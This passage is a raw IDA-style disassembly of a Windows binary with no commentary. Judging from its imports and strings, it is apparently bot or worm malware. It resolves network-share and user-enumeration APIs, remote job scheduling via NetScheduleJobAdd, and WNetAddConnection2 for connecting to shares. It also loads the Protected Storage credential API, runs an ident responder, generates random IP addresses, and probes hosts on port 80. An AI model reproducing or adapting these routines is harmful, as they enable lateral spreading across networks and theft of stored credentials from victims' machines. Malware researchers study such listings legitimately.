XREF: sub_4038BA+E3j mov eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_4039D3 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039D3: ; CODE XREF: sub_4038BA+102j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp loc_403ABA ; --------------------------------------------------------------------------- loc_4039F4: ; CODE XREF: sub_4038BA+C0j mov eax, [ebp+arg_18] and eax, 1 test eax, eax jz loc_403A92 mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 7F000001h jz short loc_403A1D mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 0 jnz short loc_403A92 loc_403A1D: ; CODE XREF: sub_4038BA+155j push 0 push 4 mov eax, [ebp+var_40C] add eax, 4 push eax call dword_417220 ; gethostbyaddr mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_403A4B call dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A4B: ; CODE XREF: sub_4038BA+184j mov eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403A74 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A74: ; CODE XREF: sub_4038BA+1A3j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp short loc_403ABA ; --------------------------------------------------------------------------- loc_403A92: ; CODE XREF: sub_4038BA+142j ; sub_4038BA+161j ... lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403ABA push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403ABA: ; CODE XREF: sub_4038BA+63j ; sub_4038BA+135j ... cmp [ebp+arg_10], 0 jz loc_403B99 push 8 pop eax test eax, eax jz short loc_403B2C push 0Ah lea eax, [ebp+var_430] push eax mov eax, [ebp+var_40C] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_430] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B19 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403B19: ; CODE XREF: sub_4038BA+248j lea eax, [ebp+var_430] push eax push [ebp+arg_10] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403B99 ; --------------------------------------------------------------------------- loc_403B2C: ; CODE XREF: sub_4038BA+20Fj mov eax, [ebp+arg_18] and eax, 10h neg eax sbb eax, eax and eax, offset aUdp ; "udp" push eax mov eax, [ebp+var_40C] movzx eax, word ptr [eax+2] push eax call dword_417228 ; getservbyport mov [ebp+var_408], eax cmp [ebp+var_408], 0 jnz short loc_403B61 or eax, 0FFFFFFFFh jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B61: ; CODE XREF: sub_4038BA+2A0j mov eax, [ebp+var_408] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B87 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B87: ; CODE XREF: sub_4038BA+2B9j mov eax, [ebp+var_408] push dword ptr [eax] push [ebp+arg_10] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403B99: ; CODE XREF: sub_4038BA+204j ; sub_4038BA+270j cmp [ebp+arg_8], 0 jz short loc_403BB0 lea eax, [ebp+var_404] push eax push [ebp+arg_8] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403BB0: ; CODE XREF: sub_4038BA+2E3j xor eax, eax jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403BB4: ; CODE XREF: sub_4038BA+B3j jmp loc_403A92 ; --------------------------------------------------------------------------- locret_403BB9: ; CODE XREF: sub_4038BA+2Ej ; sub_4038BA+5Aj ... leave retn 1Ch sub_4038BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BBD proc near ; DATA XREF: sub_403BD3+1C6o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_403BCF push [ebp+arg_0] call sub_416B4C ; free pop ecx loc_403BCF: ; CODE XREF: sub_403BBD+7j pop ebp retn 4 sub_403BBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BD3 proc near ; CODE XREF: .data:loc_4168BCp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset aKernel32_dll ; "kernel32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_403C00 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push [ebp+var_C] call dword_417058 ; GetProcAddress mov dword_41DE10, eax loc_403C00: ; CODE XREF: sub_403BD3+18j push offset aNetapi32_dll ; "netapi32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz loc_403CC3 push offset aNetusegetinfo ; "NetUseGetInfo" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE18, eax push offset aNetuseadd ; "NetUseAdd" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE1C, eax push offset aNetusedel ; "NetUseDel" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE20, eax push offset aNetuserenum ; "NetUserEnum" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE24, eax push offset aNetshareenum ; "NetShareEnum" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE28, eax push offset aNetremotetod ; "NetRemoteTOD" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE2C, eax push offset aNetapibufferfr ; "NetApiBufferFree" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE30, eax push offset aNetschedulejob ; "NetScheduleJobAdd" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE34, eax push offset aNetaddalternat ; "NetAddAlternateComputerName" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE38, eax loc_403CC3: ; CODE XREF: sub_403BD3+3Fj push offset aMpr_dll ; "mpr.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_403D23 push offset aWnetaddconnect ; "WNetAddConnection2A" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE3C, eax push offset aWnetaddconne_0 ; "WNetAddConnection2W" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE40, eax push offset aWnetcancelconn ; "WNetCancelConnection2A" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE44, eax push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE48, eax loc_403D23: ; CODE XREF: sub_403BD3+102j push offset aWs2_32_dll ; "ws2_32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_4], eax push offset aGetaddrinfo ; "getaddrinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE54, eax push offset aGetnameinfo ; "getnameinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE58, eax push offset aFreeaddrinfo ; "freeaddrinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE5C, eax cmp dword_41DE54, 0 jz short loc_403D85 cmp dword_41DE58, 0 jz short loc_403D85 cmp dword_41DE5C, 0 jnz short loc_403DA3 loc_403D85: ; CODE XREF: sub_403BD3+19Ej ; sub_403BD3+1A7j mov dword_41DE54, offset sub_403588 mov dword_41DE58, offset sub_4038BA mov dword_41DE5C, offset sub_403BBD loc_403DA3: ; CODE XREF: sub_403BD3+1B0j push offset aPstorec_dll ; "pstorec.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_403DCA push offset aPstorecreatein ; "PStoreCreateInstance" push [ebp+var_10] call dword_417058 ; GetProcAddress mov dword_41DE50, eax loc_403DCA: ; CODE XREF: sub_403BD3+1E2j push offset aWininet_dll ; "wininet.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short locret_403DF1 push offset aInternetgetcon ; "InternetGetConnectedStateExA" push [ebp+var_18] call dword_417058 ; GetProcAddress mov dword_41DE4C, eax locret_403DF1: ; CODE XREF: sub_403BD3+209j leave retn sub_403BD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF3 proc near ; DATA XREF: sub_403FE5+89o var_1228 = dword ptr -1228h var_1224 = byte ptr -1224h var_1200 = byte ptr -1200h var_11DC = byte ptr -11DCh var_11B8 = dword ptr -11B8h var_11B4 = dword ptr -11B4h var_11B0 = dword ptr -11B0h var_11AC = byte ptr -11ACh var_11A6 = byte ptr -11A6h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1228h call sub_416BC0 push 1ADh push [ebp+arg_0] lea eax, [ebp+var_11B0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_11AC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_11B4], eax cmp [ebp+var_11B4], 0 jnz short loc_403E52 push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax jmp locret_403FE1 ; --------------------------------------------------------------------------- loc_403E52: ; CODE XREF: sub_403DF3+4Aj lea eax, [ebp+var_11AC] push eax mov eax, [ebp+var_11B0] push dword ptr [eax] push offset dword_4189C4 lea eax, [ebp+var_11A6] push eax call sub_40D53F add esp, 10h loc_403E75: ; CODE XREF: sub_403DF3+BDj ; sub_403DF3+10Fj ... push 3E8h push [ebp+var_11B4] call sub_4048EF pop ecx pop ecx mov [ebp+var_11B8], eax mov eax, [ebp+var_11B0] cmp dword ptr [eax+4], 0 jnz short loc_403EA2 cmp [ebp+var_11B8], 0 jnz short loc_403EA7 loc_403EA2: ; CODE XREF: sub_403DF3+A4j jmp loc_403FC7 ; --------------------------------------------------------------------------- loc_403EA7: ; CODE XREF: sub_403DF3+ADj cmp [ebp+var_11B8], 0FFFFFFFFh jnz short loc_403EB2 jmp short loc_403E75 ; --------------------------------------------------------------------------- loc_403EB2: ; CODE XREF: sub_403DF3+BBj push 1000h lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053DC add esp, 0Ch mov [ebp+var_1228], eax cmp [ebp+var_1228], 0 jz short loc_403EF6 cmp [ebp+var_1228], 0FFFFFFFFh jz short loc_403EF6 lea eax, [ebp+var_1000] push eax call sub_416B40 ; strlen pop ecx cmp eax, 10h jbe short loc_403F07 loc_403EF6: ; CODE XREF: sub_403DF3+E6j ; sub_403DF3+EFj push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403F07: ; CODE XREF: sub_403DF3+101j movsx eax, byte_41EE98 test eax, eax jz short loc_403F27 push offset byte_41EE98 lea eax, [ebp+var_1224] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403F57 ; --------------------------------------------------------------------------- loc_403F27: ; CODE XREF: sub_403DF3+11Dj lea eax, [ebp+var_1200] push eax lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_11DC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1224] push eax push offset byte_41EE98 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403F57: ; CODE XREF: sub_403DF3+132j push offset aUseridUnix ; " : USERID : UNIX : " lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1000] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053BF add esp, 0Ch push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403FC7: ; CODE XREF: sub_403DF3:loc_403EA2j push [ebp+var_11B4] call sub_404CBB pop ecx push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax locret_403FE1: ; CODE XREF: sub_403DF3+5Aj leave retn 4 sub_403DF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE5 proc near ; CODE XREF: sub_40A9CF+EECp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_403FFD push [ebp+arg_4] call sub_40422A pop ecx test eax, eax jnz short loc_404004 loc_403FFD: ; CODE XREF: sub_403FE5+9j mov [ebp+arg_4], offset dword_418A18 loc_404004: ; CODE XREF: sub_403FE5+16j push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40401A jmp short locret_40407B ; --------------------------------------------------------------------------- loc_40401A: ; CODE XREF: sub_403FE5+31j push 6 push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_404059 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] test eax, eax jz short loc_404059 and [ebp+var_8], 0 jmp short loc_404060 ; --------------------------------------------------------------------------- loc_404059: ; CODE XREF: sub_403FE5+5Ej ; sub_403FE5+6Cj mov [ebp+var_8], 1 loc_404060: ; CODE XREF: sub_403FE5+72j push [ebp+arg_4] push offset dword_4189F8 push [ebp+var_8] push [ebp+var_4] push offset sub_403DF3 call sub_4095A4 add esp, 14h locret_40407B: ; CODE XREF: sub_403FE5+33j leave retn sub_403FE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40407D proc near ; CODE XREF: sub_4055E5+772p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 loc_404085: ; CODE XREF: sub_40407D+2Cj cmp [ebp+arg_4], 1 jbe short loc_4040AB mov eax, [ebp+arg_0] movzx eax, word ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax dec eax mov [ebp+arg_4], eax jmp short loc_404085 ; --------------------------------------------------------------------------- loc_4040AB: ; CODE XREF: sub_40407D+Cj cmp [ebp+arg_4], 0 jz short loc_4040BF mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx loc_4040BF: ; CODE XREF: sub_40407D+32j mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] and ecx, 0FFFFh add eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+var_4] not eax leave retn sub_40407D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040E8 proc near ; CODE XREF: sub_4055E5+752p ; sub_40A9CF+1A2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+var_4], 2 jz short loc_404146 cmp [ebp+var_4], 3 jz short loc_404124 cmp [ebp+var_4], 4 jz short loc_404106 jmp short loc_40416A ; --------------------------------------------------------------------------- loc_404106: ; CODE XREF: sub_4040E8+1Aj mov eax, [ebp+arg_0] and al, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404124: ; CODE XREF: sub_4040E8+14j mov eax, [ebp+arg_0] and ah, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 8 mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404146: ; CODE XREF: sub_4040E8+Ej mov eax, [ebp+arg_0] and eax, 0FF00FFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 10h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_40416A: ; CODE XREF: sub_4040E8+1Cj mov eax, [ebp+arg_0] and eax, 0FFFFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 18h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] leave retn sub_4040E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404193 proc near ; CODE XREF: sub_404279+Ap ; sub_40435B+17p arg_0 = dword ptr 8 push ebp mov ebp, esp push 0Ah push [ebp+arg_0] push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch pop ebp retn sub_404193 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041B7 proc near ; CODE XREF: sub_40D871+5B3p arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push offset dword_418A48 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041D5 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041D5: ; CODE XREF: sub_4041B7+17j push 4 push offset dword_418A40 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041F0 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041F0: ; CODE XREF: sub_4041B7+32j push 8 push offset dword_418A34 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_40420B push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_40420B: ; CODE XREF: sub_4041B7+4Dj push 3 push offset dword_418A30 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_404226 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_404226: ; CODE XREF: sub_4041B7+68j xor eax, eax loc_404228: ; CODE XREF: sub_4041B7+1Cj ; sub_4041B7+37j ... pop ebp retn sub_4041B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40422A proc near ; CODE XREF: sub_402A32+206p ; sub_403FE5+Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_40423C ; --------------------------------------------------------------------------- loc_404235: ; CODE XREF: sub_40422A:loc_404273j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40423C: ; CODE XREF: sub_40422A+9j cmp [ebp+var_4], 6 jnz short loc_404244 jmp short loc_404275 ; --------------------------------------------------------------------------- loc_404244: ; CODE XREF: sub_40422A+16j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_404273 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40426C cmp [ebp+var_8], 0FFFFh jbe short loc_40426E loc_40426C: ; CODE XREF: sub_40422A+37j jmp short loc_404275 ; --------------------------------------------------------------------------- loc_40426E: ; CODE XREF: sub_40422A+40j push 1 pop eax jmp short locret_404277 ; --------------------------------------------------------------------------- loc_404273: ; CODE XREF: sub_40422A+25j jmp short loc_404235 ; --------------------------------------------------------------------------- loc_404275: ; CODE XREF: sub_40422A+18j ; sub_40422A:loc_40426Cj xor eax, eax locret_404277: ; CODE XREF: sub_40422A+47j leave retn sub_40422A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404279 proc near ; CODE XREF: sub_4042FB+Cp ; sub_408B30+197p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_8] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4042A4 push 1 pop eax jmp short locret_4042F9 ; --------------------------------------------------------------------------- loc_4042A4: ; CODE XREF: sub_404279+24j push 0BB8h push 0 lea eax, [ebp+var_8] push eax push offset dword_41EF18 call sub_4050EA add esp, 10h mov [ebp+var_C], eax push [ebp+var_10] call sub_404CBB pop ecx cmp [ebp+var_C], 0 jz short loc_4042DA cmp [ebp+var_C], 0FFFFFFFFh jz short loc_4042DA and [ebp+var_18], 0 jmp short loc_4042E1 ; --------------------------------------------------------------------------- loc_4042DA: ; CODE XREF: sub_404279+53j ; sub_404279+59j mov [ebp+var_18], 1 loc_4042E1: ; CODE XREF: sub_404279+5Fj mov eax, [ebp+var_18] mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4042F6 push [ebp+var_C] call sub_4053B1 pop ecx loc_4042F6: ; CODE XREF: sub_404279+72j mov eax, [ebp+var_14] locret_4042F9: ; CODE XREF: sub_404279+29j leave retn sub_404279 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4042FB proc near ; CODE XREF: sub_411D68+4p ; sub_41349C+1FAp ... push ebp mov ebp, esp cmp dword_41E264, 0 jnz short loc_404327 call sub_404279 push eax push offset dword_41E268 call sub_409C9D pop ecx pop ecx push 1 push offset dword_41E264 call sub_409C9D pop ecx pop ecx loc_404327: ; CODE XREF: sub_4042FB+Aj mov eax, dword_41E268 pop ebp retn sub_4042FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40432E proc near ; CODE XREF: sub_40435B+6p ; sub_4046BC+5Dp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push 1 push 17h call dword_417218 ; socket mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404350 push [ebp+var_4] call sub_4053B1 pop ecx loc_404350: ; CODE XREF: sub_40432E+17j xor eax, eax cmp [ebp+var_4], 0FFFFFFFFh setnz al leave retn sub_40432E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40435B proc near ; CODE XREF: sub_4083AD:loc_4085D6p var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h call sub_40432E test eax, eax jnz short loc_40436E xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_40436E: ; CODE XREF: sub_40435B+Dj lea eax, [ebp+var_14] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_14] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_404392 xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_404392: ; CODE XREF: sub_40435B+31j push 0BB8h push 2 lea eax, [ebp+var_14] push eax push offset dword_418A5C call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call sub_404CBB pop ecx cmp [ebp+var_8], 0 jz short loc_4043CB cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4043CB mov [ebp+var_18], 1 jmp short loc_4043CF ; --------------------------------------------------------------------------- loc_4043CB: ; CODE XREF: sub_40435B+5Fj ; sub_40435B+65j and [ebp+var_18], 0 loc_4043CF: ; CODE XREF: sub_40435B+6Ej mov eax, [ebp+var_18] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4043E4 push [ebp+var_8] call sub_4053B1 pop ecx loc_4043E4: ; CODE XREF: sub_40435B+7Ej mov eax, [ebp+var_4] locret_4043E7: ; CODE XREF: sub_40435B+11j ; sub_40435B+35j leave retn sub_40435B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043E9 proc near ; CODE XREF: sub_408B30:loc_408C9Fp ; sub_40CA29+231p ... var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h push offset dword_418A1C lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_1C] push eax call sub_4105FB pop ecx push 7D0h push 2 push offset a80 ; "80" lea eax, [ebp+var_1C] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_404439 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_404439 mov [ebp+var_20], 1 jmp short loc_40443D ; --------------------------------------------------------------------------- loc_404439: ; CODE XREF: sub_4043E9+3Fj ; sub_4043E9+45j and [ebp+var_20], 0 loc_40443D: ; CODE XREF: sub_4043E9+4Ej mov eax, [ebp+var_20] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404452 push [ebp+var_8] call sub_4053B1 pop ecx loc_404452: ; CODE XREF: sub_4043E9+5Ej mov eax, [ebp+var_4] leave retn sub_4043E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404457 proc near ; CODE XREF: sub_404FE7+AFp ; sub_4050EA+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx xor eax, eax cmp [ebp+arg_4], 0 setz al mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push 8004667Eh push [ebp+arg_0] call dword_417214 ; ioctlsocket leave retn sub_404457 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40447B proc near ; CODE XREF: sub_40732D+22Ep ; sub_40732D+296p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call dword_417214 ; ioctlsocket xor eax, eax cmp [ebp+var_4], 0 setnz al leave retn sub_40447B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40449C proc near ; CODE XREF: sub_40D871+5A1p ; sub_411DC5+65p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_4044CC xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044CC: ; CODE XREF: sub_40449C+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DE58 ; getnameinfo test eax, eax jz short loc_4044F2 xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044F2: ; CODE XREF: sub_40449C+50j push 1 pop eax locret_4044F5: ; CODE XREF: sub_40449C+2Ej ; sub_40449C+54j leave retn sub_40449C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044F7 proc near ; CODE XREF: sub_40732D+DDp ; sub_4129CA+29p ... var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_404527 xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_404527: ; CODE XREF: sub_4044F7+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DE58 ; getnameinfo test eax, eax jz short loc_40454D xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_40454D: ; CODE XREF: sub_4044F7+50j push 1 pop eax locret_404550: ; CODE XREF: sub_4044F7+2Ej ; sub_4044F7+54j leave retn sub_4044F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404552 proc near ; CODE XREF: sub_41331E+A6p ; sub_415F69+256p var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_404582 xor eax, eax jmp short locret_4045B0 ; --------------------------------------------------------------------------- loc_404582: ; CODE XREF: sub_404552+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, 